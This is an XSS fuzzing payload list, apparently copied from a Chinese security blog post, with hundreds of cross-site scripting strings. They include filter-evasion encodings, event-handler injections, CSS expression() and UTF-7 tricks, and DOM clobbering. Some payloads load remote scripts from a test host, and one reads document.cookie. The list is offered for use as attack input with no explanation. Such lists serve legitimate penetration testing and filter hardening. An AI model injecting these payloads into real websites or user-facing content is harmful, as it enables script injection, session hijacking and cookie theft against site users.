<i[%00]mg onerror=alert(1) src=a>

<img[%09]onerror=alert(1) src=a>

<img[%0d]onerror=alert(1) src=a>

<img[%0a]onerror=alert(1) src=a>

<i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>

%253cimg%20onerror=alert(1)%20src=a%253e

%3cimg onerror=alert(1) src=a%3e

?img onerror=alert(1) src=a?

<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>

<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT>

<scr%00ipt%20&message=> alert(‘kcf’)</script>

“<script>prompt(1)</script>

“;alert(1)//

‘-alert(1)-’

“<script>alert(1)</script>

“;prompt(1)//

‘-prompt(1)-’

‘`"><\x3Cscript>javascript:alert(1)</script>

‘`"><\x00script>javascript:alert(1)</script>

\x3Cscript>javascript:alert(1)</script>

‘"`><script>/* *\x2Fjavascript:alert(1)// */</script>

--> <img src=xxx:x onerror=javascript:alert(1)> -->

-->

-->

-->

`"‘><img src=‘#\x27 onerror=javascript:alert(1)>

"‘`><p><svg><script>a=‘hello\x27;javascript:alert(1)//‘;</script></p>

"‘`>ABC<div style="font-family:‘foo‘\x7Dx:expression(javascript:alert(1);/*‘;">DEF

"‘`>ABC<div style="font-family:‘foo‘\x3Bx:expression(javascript:alert(1);/*‘;">DEF

‘`"><\x3Cscript>javascript:alert(1)</script>

"‘`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>

"‘`><\x00img src=xxx:x onerror=javascript:alert(1)>

ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF

ABC<div style="x:expression\x5C(javascript:alert(1)">DEF

ABC<div style="x:expression\x00(javascript:alert(1)">DEF

ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF

ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF

ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF

ABC<div style="x:\x09expression(javascript:alert(1)">DEF

ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF

ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF

ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF

ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF

ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF

ABC<div style="x:\x20expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF

ABC<div style="x:\x00expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF

ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF

ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF

`"‘><img src=xxx:x \x0Aonerror=javascript:alert(1)>

`"‘><img src=xxx:x \x22onerror=javascript:alert(1)>

`"‘><img src=xxx:x \x0Bonerror=javascript:alert(1)>

`"‘><img src=xxx:x \x0Donerror=javascript:alert(1)>

`"‘><img src=xxx:x \x2Fonerror=javascript:alert(1)>

`"‘><img src=xxx:x \x09onerror=javascript:alert(1)>

`"‘><img src=xxx:x \x0Conerror=javascript:alert(1)>

`"‘><img src=xxx:x \x00onerror=javascript:alert(1)>

`"‘><img src=xxx:x \x27onerror=javascript:alert(1)>

`"‘><img src=xxx:x \x20onerror=javascript:alert(1)>

"`‘><script>\x3Bjavascript:alert(1)</script>

"`‘><script>\x0Djavascript:alert(1)</script>

"`‘><script>\xEF\xBB\xBFjavascript:alert(1)</script>

"`‘><script>\xE2\x80\x81javascript:alert(1)</script>

"`‘><script>\xE2\x80\x84javascript:alert(1)</script>

"`‘><script>\xE3\x80\x80javascript:alert(1)</script>

"`‘><script>\x09javascript:alert(1)</script>

"`‘><script>\xE2\x80\x89javascript:alert(1)</script>

"`‘><script>\xE2\x80\x85javascript:alert(1)</script>

"`‘><script>\xE2\x80\x88javascript:alert(1)</script>

"`‘><script>\x00javascript:alert(1)</script>

"`‘><script>\xE2\x80\xA8javascript:alert(1)</script>

"`‘><script>\xE2\x80\x8Ajavascript:alert(1)</script>

"`‘><script>\xE1\x9A\x80javascript:alert(1)</script>

"`‘><script>\x0Cjavascript:alert(1)</script>

"`‘><script>\x2Bjavascript:alert(1)</script>

"`‘><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>

"`‘><script>-javascript:alert(1)</script>

"`‘><script>\x0Ajavascript:alert(1)</script>

"`‘><script>\xE2\x80\xAFjavascript:alert(1)</script>

"`‘><script>\x7Ejavascript:alert(1)</script>

"`‘><script>\xE2\x80\x87javascript:alert(1)</script>

"`‘><script>\xE2\x81\x9Fjavascript:alert(1)</script>

"`‘><script>\xE2\x80\xA9javascript:alert(1)</script>

"`‘><script>\xC2\x85javascript:alert(1)</script>

"`‘><script>\xEF\xBF\xAEjavascript:alert(1)</script>

"`‘><script>\xE2\x80\x83javascript:alert(1)</script>

"`‘><script>\xE2\x80\x8Bjavascript:alert(1)</script>

"`‘><script>\xEF\xBF\xBEjavascript:alert(1)</script>

"`‘><script>\xE2\x80\x80javascript:alert(1)</script>

"`‘><script>\x21javascript:alert(1)</script>

"`‘><script>\xE2\x80\x82javascript:alert(1)</script>

"`‘><script>\xE2\x80\x86javascript:alert(1)</script>

"`‘><script>\xE1\xA0\x8Ejavascript:alert(1)</script>

"`‘><script>\x0Bjavascript:alert(1)</script>

"`‘><script>\x20javascript:alert(1)</script>

"`‘><script>\xC2\xA0javascript:alert(1)</script>

"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />

"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />

"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />

"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />

"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />

"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />

"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />

"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />

"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />

`"‘><img src=xxx:x onerror\x0B=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x00=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x0C=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x0D=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x20=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x0A=javascript:alert(1)>

`"‘><img src=xxx:x onerror\x09=javascript:alert(1)>

<video poster=javascript:javascript:alert(1)//

<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X

<form><button formaction="javascript:javascript:alert(1)">X

<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://127.0.0.1:3555/xss_serve_payloads/kcf.html" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>

<img src=x onerror=javascript:alert(1)//">

<![><img src="]><img src=x onerror=javascript:alert(1)//">

<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>

<b <script>alert(1)</script>0

<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>

<? foo="><script>javascript:alert(1)</script>">

<! foo="><script>javascript:alert(1)</script>">

</ foo="><script>javascript:alert(1)</script>">

<? foo="><x foo=‘?><script>javascript:alert(1)</script>‘>">

<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">

<% foo><x foo="%><script>javascript:alert(1)</script>">

<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>

<img\x47src=x onerror="javascript:alert(1)">

<img\x10src=x onerror="javascript:alert(1)">

<img\x13src=x onerror="javascript:alert(1)">

<img\x32src=x onerror="javascript:alert(1)">

<img\x11src=x onerror="javascript:alert(1)">

<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">

<img src="x` `<script>javascript:alert(1)</script>"` `>

<a style="-o-link:‘javascript:javascript:alert(1)‘;-o-link-source:current">X

<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">KCF</a></a><a href="javascript:javascript:alert(1)">KCF</a><style>*[{}@import‘%(css)s?]</style>X

<div style="font-family:‘foo ;color:red;‘;">KCF

<div style="font-family:foo}color=red;">KCF

<// style=x:expression\28javascript:alert(1)\29>

<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X

<div id=d><div style="font-family:‘sans\27\3B color\3Ared\3B‘">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>

<div style="background:url(/f#oo/;color:red/*/foo.jpg);">X

<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X

<div id="x">KCF</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>

X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >

1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>

1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>

1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>

<event-source src="%(event)s" >

<<SCRIPT>%(payload)s//<</SCRIPT>

<IMG SRC="javascript:javascript:alert(1)"

<STYLE>@import‘%(css)s‘;</STYLE>

<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">

<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>KCF

<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>

<STYLE>.KCF{background-image:url("javascript:javascript:alert(1)");}</STYLE><A class="KCF"></A>

<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>

<HTML xmlns:kcf><?import namespace="kcf" implementation="%(htc)s"><kcf:kcf>KCF</kcf:kcf></HTML>""","XML namespace."),("""<XML ID="kcf"><I><B><IMG SRC="javascript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#KCF" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="KCF<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML>

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-

<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X

<STYLE>a{background:url(‘s1‘ ‘s2)}@import javascript:javascript:alert(1);‘);}</STYLE>

<?xml version="1.0"?><html:html xmlns:html=‘http://www.w3.org/1999/xhtml‘><html:script>javascript:alert(1);</html:script></html:html>

alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--

></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<IMG """><SCRIPT>alert("KCF")</SCRIPT>">

perl -e ‘print "<IMG SRC=java\0script:alert(\"KCF\")>";‘ > out

<<SCRIPT>alert("KCF");//<</SCRIPT>

<IMG SRC="javascript:alert(‘KCF‘)"

</TITLE><SCRIPT>alert("KCF");</SCRIPT>

<STYLE>li {list-style-image: url("javascript:alert(‘KCF‘)");}</STYLE><UL><LI>KCF</br>

<STYLE>BODY{-moz-binding:url("http://127.0.0.1:3555/xss_serve_payloads/kcf.xml#kcf")}</STYLE>

<STYLE>@im\port‘\ja\vasc\ript:alert("KCF")‘;</STYLE>

exp/*<A STYLE=‘no\KCF:noKCF("*//*");KCF:ex/*KCF*//*/*/pression(alert("KCF"))‘>

<STYLE TYPE="text/javascript">alert(‘KCF‘);</STYLE>

<STYLE>.KCF{background-image:url("javascript:alert(‘KCF‘)");}</STYLE><A class="KCF"></A>

<STYLE type="text/css">BODY{background:url("javascript:alert(‘KCF‘)")}</STYLE>

<? echo(‘<SCR)‘;echo(‘IPT>alert("KCF")</SCRIPT>‘); ?>

Redirect 302 /axaakcf.jpg http://127.0.0.1:3555/xss_serve_payloads/kcf.html

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘KCF‘)</SCRIPT>">

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(‘KCF‘);+ADw-/SCRIPT+AD4-

<input/onmouseover="javaSCRIPT&colon;confirm(1)"

<sVg><scRipt %00>alert(1) {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<form><isindex formaction="javascript&colon;confirm(1)"

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?

"><h1/onmouseover=‘\u0061lert(1)‘>%00

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror=‘eval(src)‘>

<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=" >X</a

http://www.keralacyberforce<script .in>alert(document.location)</script

<a href=[]" onmouseover=prompt(1)//">XYZ</a

<img/[email protected] onerror = prompt(‘1‘)

</style ><script :-(>/**/alert(document.location)/**/</script :-(

</form><input type="date" onfocus="alert(1)">

<///style///><span %2F onmousemove=‘alert(1)‘>SPAN

<img/src=‘http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg‘ onmouseover=&Tab;prompt(1)

"><svg><style>{-o-link-source&colon;‘<body/onload=confirm(1)>‘

<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}

<marquee onstart=‘javascript:alert(1)‘>^__^

<div/style="width:expression(confirm(1))">X</div> {IE7}

//<form/action=javascript:alert(document&period;cookie)><input/type=‘submit‘>//

/*iframe/src*/<iframe/src="<iframe/[email protected]"/onload=prompt(1) /*iframe/src*/>

//|\\ <script //|\\ src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.js‘> //|\\ </script //|\\

//|\\ <script //|\\ src=‘http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp‘> //|\\ </script //|\\

</font>/<svg><style>{src:‘<style/onload=this.onload=confirm(1)>‘</font>/</style>

</plaintext\></|\><plaintext/onmouseover=prompt(1)

</svg>‘‘<svg><script ‘AQuickBrownFoxJumpsOverTheLazyDog‘>alert(1)

<%

<input value=<><iframe/src=javascript:confirm(1)

http://www.<script>alert(1)</script .com

<math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/kcf.js">KCF

<math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/bmpz.bmp">KCF

<a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a

<body/onload=<!-->&#10alert(1)>

<img src ?kcf?\/onerror = alert(1)

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>KCF

<div/onmouseover=‘alert(1)‘> style="x:">

<--`<img/src=` onerror=alert(1)> --!>

"><img src=x onerror=window.open(‘https://127.0.0.1:3555/xss_serve_payloads/kcf.html‘);>

<form><button formaction=javascript&colon;alert(1)>KCF

<sVg><scRipt %00>prompt(/

w=window.open(‘invalidfileinvalidfileinvalidfile‘,‘target‘);setTimeout(‘alert(w.document.location);w.close();‘,1);

try%7Balert(1)%7Dcatch(e)%7Blocation.reload()%7D

0\%22))}catch(e){alert(1)}//

<img src=x > onerror="console.alert(document.getElementsByTagName(‘html‘)[0].innerHTML)">

<img src=x > onerror=alert(1)>

"‘><img src="xx:xx" on error="alert(1);">

htmlStr = ‘<a href="javascript:alert(1)">kcf</a>‘; document.getElementById(‘body‘).innerHTML = htmlStr; try { alert(1);}catch(e){alert(1);};

htmlStr = ‘<a href="javascript:alert(1)">kcf</a>‘; document.getElementById(‘body‘).innerHTML = htmlStr; try { if(document.getElementById(‘body‘).firstChild.protocol === ‘javascript:‘) { alert(1); } }catch(e){alert(1);};

`"‘><img src="# onerror=alert(1)>

--><img src=xxx:x onerror=alert(1)> -->

<body> §iframe onload=confirm(/kcf/)> <img src=x:x onerror="innerHTML=previousSibling.nodeValue.replace(‘§‘,‘<‘)"> </body>

<b id="id1" x=begin0x9fa0end >`‘"></b><script>if (!/begin.end/.test(document.getElementById(‘id1‘).getAttribute(‘x‘))) { alert(1);}</script>

<b id="id1" x=begin0x2924end >`‘"></b><script>if (!/begin.end/.test(document.getElementById(‘id1‘).getAttribute(‘x‘))) { alert(1);}</script>

<title>kcf<script>alert(1)</script></title>

"`‘><script>alert(1)</script>

<div class="foo1">kcf</div> <script>document.getElementsByClassName(‘foo1‘)[0]?alert(1):0</script>

"`‘/><img/onload=alert(1) src=""/>

"‘`>kcf<div style="font-family:‘foo;x:expression(alert(1));/*‘;">kcf

"‘`>kcf<div style="font-family:‘foo‘x:expression(alert(1));/*‘;">kcf

"‘`><script>a=/kcf;;i=0;alert(1);a/i;</script>

<a href="><script>alert(1)</script>" />

"‘`><p><svg><script>a=‘kcf;alert(1)//‘;</script></p>

<p><svg><script>alert(1)</script></p>

kcf<div style="x:expression(alert(1))">kcf

kcf<div style="xexpression(alert(1))">kcf

"‘`><script>alert(1)</script>

"‘`><img src=xxx:x onerror=alert(1)>

‘`"><script>alert(1)</script>

`"‘><img src=xxx:x onerror=alert(1)>

‘"`><script>/* *alert(1)// */</script>

`‘"><script>window[‘alert‘](1)</script>

\u0031+\u0031\u005b‘\145\166\141\154‘\u005d\u0028‘\141\154\145\162\164\50\61\51‘\u0029

\u0030\u005b\u0022\x65\x76\x61\x6C"\u005d\u0028\u0027\x61\x6C\x65\x72\x74\x28\x31\x29‘\u0029

0[‘eval‘](‘alert(1)‘)

<input id=‘1‘><input id=1><script>alert(1)</script>

<a href="invalid:1" id=x name=y>kcf</a><a href="invalid:2" id=x name=y>kcf</a><script>alert(x.y[0])</script>

<a href=1 name=x>kcf</a><a href=1 name=x>kcf</a><script>alert(x.removeChild)//undefinedalert(x.parentNode)//undefined</script>

<a href="123" id=x>kcf</a><script>x=‘javascript:alert(1)‘//only in compat!;</script>

<form name=self location="javascript:alert(1)"></form><script>if(top!=self){ top.location=self.location}</script>

<form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){ top.location=self.location}</script>

%3Cform%20name%3D%22body%22%20onmouseover%3D%22alert(1)%22%20style%3D%22height%3A800px%22%3E%3Cfieldset%20name%3D%22attributes%22%3E%3Cform%3E%3C%2Fform%3E%3Cform%20name%3D%22parentNode%22%3E%3Cimg%20id%3D%22attributes%22%3E%3C%2Fform%3E%3C%2Ffieldset%3E%3C%2Fform%3E

"onmouseover="alert(1)"a="

‘onmouseover=‘alert(1)‘a=‘

‘%20onmouseover=alert(1)‘

%22%20onmouseover=javascript:alert(1)%20%22

\‘);alert(1);//

);alert(1)//

‘);alert(1)//

%26%2339;-alert(1)//

%22);alert(1);//

%E0<body onload=alert(1)>

%00<body onload=alert(1)>

kcf‘%20alert(1)%2F%2F

kcf%22%20alert(1)%2F%2F

%5C%5C‘%2Balert(1)%3B%2F%2F

%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

alert(1)%3B

%3Cscript%3Ea%3D%2FKCF%2F

alert(1)%3C%2Fscript%3E

%22%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

kcf%20-%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

kcf%20%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

<SCRIPT>alert(1);</SCRIPT>

"><IMG SRC=javascript:alert(1)>

<META HTTP-EQUIV="Link" Content="<javascript:alert(1)>; REL=stylesheet">

<STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE><A class="KCF"></A>

<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert(1);">

0<aside xmlns="x><img src=x onerror=alert(1)">1</aside>

0<aside xmlns="x><script>alert(1)</script>">1</aside>

0<aside xmlns="foo:img src=x onerror=alert(1)>">123

<p style="font-family: ‘foo\27\3b color\3a expression(alert(1))/*

http://www.opensecurity<script .in>alert(document.location)</script

<blink/ onmouseover=prompt(1)>OnMouseOver

<math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/kcf.js">click

<img src ?itworksonchrome?\/onerror = alert(1)

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

"><img src=x onerror=window.open(‘http://www.opensecurity.in/‘);>

<input+onfocus=alert(1)>

</script>"><script>prompt(1)</script>

</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>

"><img src=x onerror=prompt(1)>

"><svg/onload=prompt(1)>

"><iframe/src=javascript:prompt(1)>

"><h1 onclick=prompt(1)>Clickme</h1>

"><a href=javascript:prompt(1)>Clickme</a>

"><a href="javascript:confirm%28 1%29">Clickme</a>

"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>

"><textarea autofocus onfocus=prompt(1)>

"><a/href=javascript&colon;co\u006efir\u006d("1")>clickme</a>

"><script>co\u006efir\u006d`1`</script>

"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>

"><img src=x onerror=co\u006efir\u006d`1`>

"><svg/onload=co\u006efir\u006d`1`>

"><iframe/src=javascript:co\u006efir\u006d%28 1%29>

"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>

"><a href=javascript:prompt%28 1%29>Clickme</a>

"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>

"><textarea autofocus onfocus=co\u006efir\u006d(1)>

"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome

"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme

"><img/src=x%0Aonerror=prompt`1`>

"><iframe srcdoc="<img src=x:x onerror=alert(1)>">

"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>

原文地址：https://www.cnblogs.com/had3s/p/9473454.html

时间： 2024-08-29 20:37:33

常用xss fuzz 列表

常用xss fuzz 列表的相关文章

VBScript/QTP 的常用COM对象列表

HTML常用的标签列表介绍

xss fuzz小记

Android开发中常用的ListView列表的优化方式ViewHolder

常用软件整理列表

LINUX下编译源码时所需提前安装的常用依赖包列表

常用网络端口列表

PHP常用$_SERVER变量列表

Android常用的颜色列表 color.xml